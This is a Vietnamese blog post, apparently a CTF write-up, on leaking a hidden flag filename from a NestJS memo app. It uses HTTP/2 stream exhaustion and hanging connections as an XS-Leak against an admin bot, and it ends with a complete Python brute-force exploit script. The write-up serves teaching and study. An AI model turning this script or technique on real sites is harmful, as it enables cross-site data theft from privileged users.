Back to Blog

#Memo

Well, một kỹ thuật mà tôi đã đọc qua trước đó nhưng không nghĩ ra được trường hợp như nào có thể sử dụng nó, và giờ có cơ hội được thử, khá thú vị hehe, happy learning

#TL;DR

Description: Find the secret image that only the Admin knows about!

Ta khai thác bằng cách sử dụng XS Leak dựa trên việc treo kết nối của ứng dụng và giới hạn luồng của HTTP/2 (Stream Exhaustion). Vì có thể đăng một memo với nội dung tùy ý, ta chèn 127 thẻ ảnh lỗi để đạt giới hạn luồng của Bot Admin, với request thứ 128, ta sẽ để tên file trỏ tới filename của flag được tạo ngẫu nhiên nhằm tìm ra được chính xác tên file flag đó:

  • Nếu đoán sai: Mạng tiếp tục bị treo, request để tăng view thứ 129 bị chặn \rightarrow view không thay đổi do bot bị treo
  • Nếu đoán đúng (startsWith trả về ảnh): Luồng mạng được free 1 luồng, request để tăng số view thành công được gửi \rightarrow view tăng 1.

Dựa vào sự chênh lệch số lượt view này, ta có thể brute force chính xác từng kí tự ngẫu nhiên filename của flag và tìm được flag qua api lấy ảnh.

#Phân tích

Challenge là một ứng dụng Web viết bằng NestJS quản lý ghi chú với vài thành phần như:

  • Web app(Port 3000): Dịch vụ backend để người dùng ghi chú Memo và tính năng share link Memo.
  • Admin bot (Port 5000): Bot admin có chức năng truy cập vào các đường link mà người chơi report.
  • Nginx: Phía trước backend có một Nginx Proxy chạy giao thức HTTP/2.
  • Database: MongoDB

Source map như sau:

Flag là nội dung ảnh được đổi tên ngẫu nhiên, vậy là ta cần phải tìm cách để xem được ảnh này

#1. XSS?

Challenge được cung cấp 2 ip, một ip của web app và một ip của admin bot

Suy nghĩ đầu tiên chắc hẳn ai cũng nghĩ sẽ là một challenge về XSS, rồi gửi admin sau đó lấy cookie... Vậy ta hãy thử kiểm chứng

Sau khi đăng ký và đăng nhập như bình thường ta được vào trang chủ với chức năng duy nhất là tạo memo (ghi chú)

Test chức năng tạo memo:

Ta thấy có một chức năng share memo khi ấn vào memo được list ra ở trang chủ:

Khi ấn share, nó gửi đi một request và trả ra một key

với key này bất kì ai cũng có thể xem được memo này thông qua public url

Test vậy là đủ rồi :v, ta sẽ phân tích source code xem luồng cũng như các api đảm nhiệm các chức năng có gì đặc biệt không.

Sơ qua về api authen trong file auth.controller.ts, ta có thể thấy rằng cookie khi login sẽ được set là httpOnly:

Vậy nên việc XSS để lấy cookie của admin nhằm vào tài khoản admin có thể gọi là khá khó, nhưng ta vẫn sẽ xem liệu có thể XSS được trên webapp này không

Ứng dụng sử dụng DOMPurify để sanitize nội dung memo. Ta thấy các tag được cho phép rất nghiêm ngặt để ngăn chặn ta thực thi Javascript, chỉ cho phép các tag khá vô hại

Mặc dù ứng dụng sử dụng DOMPurify phiên bản 3.3.1 có nằm trong phạm vi của CVE-2026-0540

Nhưng có vẻ ta không đủ điều kiện để có thể khai thác XSS trên ứng dụng này, do nó yêu cầu render output đã sanitize vào bên trong các rawtext elements chưa được bảo vệ (noscript, xmp, noembed, noframes, iframe), attacker kiểm soát được attribute value chứa payload để kích hoạt thực thi JavaScript, nên ta tạm gác việt XSS bypass qua một bên

#2. Phân tích kĩ hơn về các endpoints

Qua quá trình review, các endpoints xử lý về xác thực và users khá an toàn, khó mà có thể leo lên admin dựa vào việc bypass các endpoints này. Với file memo.controller.tsmemo.service.ts, chức năng tạo, sửa Memo không có gì đáng nói, tuy nhiên chú ý vào file memo.service.ts, ta thấy khi người dùng lưu Memo, code có xử lý thay thế khá đặc biệt:

Nghĩa là khi ta gõ nội dung Memo là @(cat.png), backend sẽ chuyển nó thành thẻ <img src="/api/image?filename=cat.png">.

Và ta thấy ảnh đã được load lên thành công

Vậy có thể gõ @(flag_a) vào content và lấy flag? Ta thấy nội dung trên web vẫn y nguyên là dòng chữ @(flag_).

Nguyên nhân nằm ở đoạn regex [a-zA-Z0-9.]+ trong ảnh trên, không hề có kí tự _ nên không thể lấy được file ảnh flag qua cách này

Tuy nhiên với các file xử lý về image, ta thấy có 2 api xử lý về image, một cho public và một cho admin. Ta có thể thấy sự khác biệt rõ ràng với 2 function này qua file image.service.tsimage.controller.ts

Vậy là ta không thể lấy flag qua /api/image public do nó yêu cầu gõ chính xác 100% tên file, mà tên file flag lại có 16 kí tự random đằng sau, việc brute force tất cả các tổ hợp là rất mất thời gian với công nghệ hiện tại :v

Nhưng với hàm của Admin, ta thấy nó sử dụng startsWith. Nếu filename của flag là flag_random123.png, ta không cần phải gõ đủ tên file, chỉ cần filename=flag_r, hàm vẫn tìm trong thư mục, thấy file flag bắt đầu bằng chữ flag_r và trả về file ảnh flag đó. Điều này có nghĩa là ta có thể brute force từng chữ cái một dựa vào một logic nào đó, mặc dù chỉ có admin mới có thể truy cập vào api này

#3. Hanging Connection

Quay lại bước 1, ta biết ứng dụng có dùng DOMPurify để chống XSS. Nhưng bản chất của DOMPurify loại bỏ các thẻ hoặc thuộc tính nguy hiểm (như <script>, onerror), còn những thẻ HTML hiển thị bình thường như bảng, chữ hoặc ví dụ như thẻ <img src="..."> thì DOMPurify cho phép cũng như nó là một trong các thẻ nằm trong ALLOWED_TAGS

Vậy ta không cần dùng cú pháp @(flag_a), ta có thể chèn luôn <img src="/api/image/admin?filename=flag_a"> vào nội dung Memo là xong. DOMPurify sẽ cho qua, và bất kì ai hoặc bot đều có thể load ảnh đó bình thường

Với idea phía trên, ta tạo bài Memo chứa các image tag <img src="/api/image/admin?filename=flag_a"> rồi quăng link cho bot đọc. Bot sẽ dùng account admin để vào memo và load ảnh qua thẻ đó, nhưng ta không thể confirm được do ... không nhìn thấy

Tuy nhiên, dựa vào lỗi Hanging Socket, kết hợp với giới hạn luồng mạng của giao thức HTTP/2, ta có thể tận dụng để confirm xem liệu kí tự đó có chính xác hay không

Nhìn lại file image.controller.ts hàm getImageAdmin:

Khi file ảnh không tồn tại (Ví dụ ta cho Bot đoán thử flag_a nhưng chữ a bị sai), hàm getAdminImagePath sẽ trả về null.

Có lẽ dev nên viết return res.status(404).send() hoặc return một status nhất định, nhưng tại đây chỉ có return không đã nên nó không bao giờ đóng kết nối, dẫn tới socket TCP bị treo vĩnh viễn (Hanging Connection)

Và với cấu hình của nginx/nginx.conf

Nginx sử dụng HTTP/2. Nginx ghi rõ ràng giá trị mặc định luôn luôn là 128, vì ở đây chỉ có http2 on; mà không config đè cấu hình này, nên Server auto dùng mức 128 luồng

#4. XS-Leaks

Kết hợp các dữ kiện trên, ta có một idea flow khai thác là tạo một trang memo:

  • Gồm 128 image tags, trong đó 127 tags sẽ load hình ảnh fake, các ảnh này là các ảnh chắc chắn sai tên, nên khi Bot tải trang, chúng sẽ dính lỗi hanging connection -> trình duyệt của Bot bị treo 127 / 128 luồng mạng
  • 1 request cuối cùng là thẻ hình ảnh chứa kí tự cần đoán (ví dụ flag_a)
  • Và request thứ 129 là request tăng view của bản thân trang đó khi tất cả nội dung đã được load (ở đây nội dung là các image tags)

Ta test với 2 trường hợp tương ứng để kiểm chứng kĩ thuật này với 2 bài post sau, do tôi đã giải ra và biết được filename đúng nên ta có thể test thủ công như này để kiểm tra rõ ràng nhất về kĩ thuật này

Post chứa filename sai:

Post chứa filename đúng:

Sau đó ta lấy shared key của 2 bài post đó và lần lượt report cho bot và xem kết quả, lý do khi có key ai cũng có thể xem được post đơn giản nằm ở file memo.controller.ts

Đầu tiên ta sẽ thử với bài post chứa filename sai, lấy shared key

Report cho admin bot

Khi check ta sẽ kì vọng là do filename sai nên view vẫn sẽ là 0, nhưng thực tế khi check view lại tăng lên

Tức là ở đây nó không hoạt động đúng như ta đề cập phía trên. Nếu đúng luồng thì bot sẽ bị treo request cho việc tăng view, ở đây số view vẫn tăng tức request đó vẫn được gửi đi. Ta có thể suy đoán nếu request không bị treo, tức các request load ảnh có thể không được gửi đi hoặc được gửi nhưng chưa đến được backend, chưa đi vào hàm get ảnh của admin nên không có request nào bị treo cả. Và lý do là vì trong file index.js của bot có biến TARGET là url mà bot sẽ truy cập

Tuy nhiên trong .env không hề có biến này, nên mặc định TARGET sẽ là https://nginx, bot sử dụng được url này do chúng cùng một compose container nên có thể truy cập nội bộ với nhau. Luồng khi bot truy cập với url ta gửi trên (https://ip/memo/shared?key=...) sẽ như sau:

Vậy để khai thác đúng, ta cần phải report với url là https://nginx/memo/shared?key=...

Khi này khi reload lại, view vẫn là 1 từ lần report trước đó chứ không tăng lên 2

Giờ ta sẽ test với post chứa filename đúng

Sau khi gửi report với key của post chứa filename đúng trên, check lại view và ta thấy nó đã tăng lên 1

Ta đã confirm được luồng khai thác này hoạt động, vậy luồng tổng quan sẽ như sau:

Giờ chỉ cần script tự động việc này để lấy ra full filename của flag

Thành công khai thác challenge và có được flag

#Exploit Script

python
import requests, urllib3, time, random, string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

base_url = "https://43.201.44.194"
bot_url = "http://43.201.44.194:5000/report"
chars = "0123456789abcdef"
s = requests.Session()
s.verify = False
rnd = lambda n=8: ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

def spost(*a, **k):
    for _ in range(5):
        try: return s.post(*a, **k)
        except: time.sleep(5)
    return s.post(*a, **k)

def sget(*a, **k):
    for _ in range(5):
        try: return s.get(*a, **k)
        except: time.sleep(5)
    return s.get(*a, **k)

u = rnd()
s.post(f"{base_url}/api/auth/register", json={"username": u, "password": "password", "name": "hacker"})
s.post(f"{base_url}/api/auth/login", json={"username": u, "password": "password"})

prefix = "flag_"
for i in range(len(prefix) - len("flag_"), 16):
    print(f"Char {i+1}/16, prefix: {prefix}")
    for c in chars:
        guess = prefix + c
        content = ''.join(f'<img src="/api/image/admin?filename=WRONG_{rnd()}">\n' for _ in range(127))
        content += f'<img src="/api/image/admin?filename={guess}">\n'
        t = f"x_{rnd()}"
        spost(f"{base_url}/api/memo", json={"title": t, "content": content}, timeout=10)
        memos = sget(f"{base_url}/api/memo", timeout=10).json().get('data', [])
        memo = next((m for m in reversed(memos) if m['title'] == t), None)
        if not memo: continue
        key = spost(f"{base_url}/api/memo/{memo['_id']}/share", timeout=10).json()['data']['sharedKey']
        try: requests.post(bot_url, json={"url": f"https://nginx/memo/shared?key={key}"}, timeout=3)
        except: pass
        print(f"Testing: {guess}, wait 25s")
        time.sleep(25)
        try: views = sget(f"{base_url}/api/memo/shared/{key}", timeout=10).json().get('data', {}).get('views', 0)
        except: views = 0
        if views > 0:
            print(f"Found: {c}")
            prefix = guess
            break
        print(f"{c} wrong")

print(f"Filename: {prefix}.png")
print(f"URL: {base_url}/api/image?filename={prefix}.png")